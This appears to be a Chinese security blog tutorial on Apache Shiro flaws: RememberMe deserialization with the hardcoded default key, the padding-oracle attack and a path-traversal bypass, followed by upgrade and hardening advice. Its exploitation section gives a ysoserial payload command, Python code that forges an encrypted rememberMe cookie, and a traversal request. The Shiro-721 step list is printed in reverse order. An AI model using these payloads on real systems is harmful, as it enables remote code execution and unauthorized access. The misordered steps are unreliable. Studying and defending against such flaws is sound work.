框架漏洞(2)shiro
前言
Apache Shiro 是一个功能强大的 Java 安全框架,广泛应用于身份认证、授权、加密和会话管理。然而,其历史版本中存在多个安全漏洞,尤其是与 RememberMe 功能 相关的反序列化漏洞(如 CVE-2016-4437、CVE-2019-12422)和路径遍历漏洞(如 CVE-2010-3863)。
一、核心漏洞
1. Shiro-550 (CVE-2016-4437) - RememberMe 反序列化漏洞
漏洞原理:
Shiro 的 RememberMe 功能通过 Cookie 存储用户身份信息,数据经 序列化 → AES 加密 → Base64 编码 后传输。硬编码密钥:
Shiro ≤ 1.2.4 版本使用固定密钥
kPH+bIxk5D2deZiIxcaaaA==
(Base64 编码)。反序列化风险:
服务端解密后直接反序列化数据,未验证内容,导致攻击者可构造恶意序列化对象,触发任意代码执行(RCE)。
影响版本:Apache Shiro ≤ 1.2.4
漏洞特征:
①响应头包含
Set-Cookie: rememberMe=deleteMe
。②存在硬编码密钥或密钥可预测。
2. Shiro-721 (CVE-2019-12422) - Padding Oracle 攻击
漏洞原理:
Shiro 使用 AES-CBC 模式加密 RememberMe Cookie,攻击者可通过 填充 oracle 攻击 逐步解密数据。攻击流程:①注入恶意序列化对象,触发 RCE。
②构造恶意密文,利用服务端返回的填充错误推断明文。
③获取合法 Cookie(需用户登录)。
影响版本:Apache Shiro < 1.4.2
3. CVE-2010-3863 - 路径遍历漏洞
漏洞原理:
Shiro ≤ 1.1.0 未对 URI 路径标准化,攻击者可构造特殊路径(如/../admin
)绕过权限验证。影响版本:Apache Shiro ≤ 1.1.0
二、漏洞利用思路
1. Shiro-550 漏洞利用
步骤 1:确认漏洞存在
①访问目标系统,检查响应头是否包含
rememberMe=deleteMe
。②使用工具(如
shiro_exploit
)扫描默认密钥。
步骤 2:构造恶意 Payload
使用 ysoserial
生成恶意序列化对象(如 CommonsCollections、JRMPClient):
java -jar ysoserial.jar CommonsCollections4 "touch /tmp/pwned" > payload.ser
用默认密钥加密 Payload:
from Crypto.Cipher import AES
import base64, uuiddef encode_rememberme(command):key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(command) # 自定义填充函数ciphertext = iv + encryptor.encrypt(file_body)return base64.b64encode(ciphertext).decode()payload = encode_rememberme(open("payload.ser", "rb").read())
print(f"rememberMe={payload}")
步骤 3:发送恶意 Cookie
将生成的 rememberMe
值注入请求头,触发服务端反序列化。
2. Shiro-721 漏洞利用
步骤 1:获取合法 Cookie
正常登录系统,抓包获取 rememberMe
Cookie。
步骤 2:Padding Oracle 攻击
使用工具(如 PadBuster
)解密 Cookie,注入恶意 Payload:
# 伪代码示例:PadBuster 攻击流程
def padding_oracle_attack(ciphertext):for i in range(len(ciphertext)):# 构造恶意密文,发送请求并观察填充错误# 逐步推断明文pass
步骤 3:触发 RCE
解密后替换为恶意序列化对象,重新加密并发送。
3. CVE-2010-3863 漏洞利用
构造路径遍历请求:
GET /../admin HTTP/1.1
绕过权限验证,访问受限资源。
三、防御与修复建议
- 升级 Shiro 版本
- ≥ 1.2.5 移除硬编码密钥。
- ≥ 1.4.2 修复 Padding Oracle 漏洞。
- 禁用危险功能:关闭 RememberMe 或使用安全的随机密钥。
- 输入验证与过滤:对反序列化数据严格校验。
- 安全配置
- 使用 WAF 拦截异常 Cookie。
- 标准化 URI 路径处理。
四、总结
Shiro 漏洞的核心风险在于 不安全的序列化/反序列化操作 和 弱加密机制。攻击者可通过构造恶意 Cookie 或路径实现 RCE 或权限绕过。开发者需及时升级框架,并遵循安全编码规范,避免硬编码密钥和敏感操作。
结语
哪有那么多天赋禀异
不过是百炼成钢罢了
!!!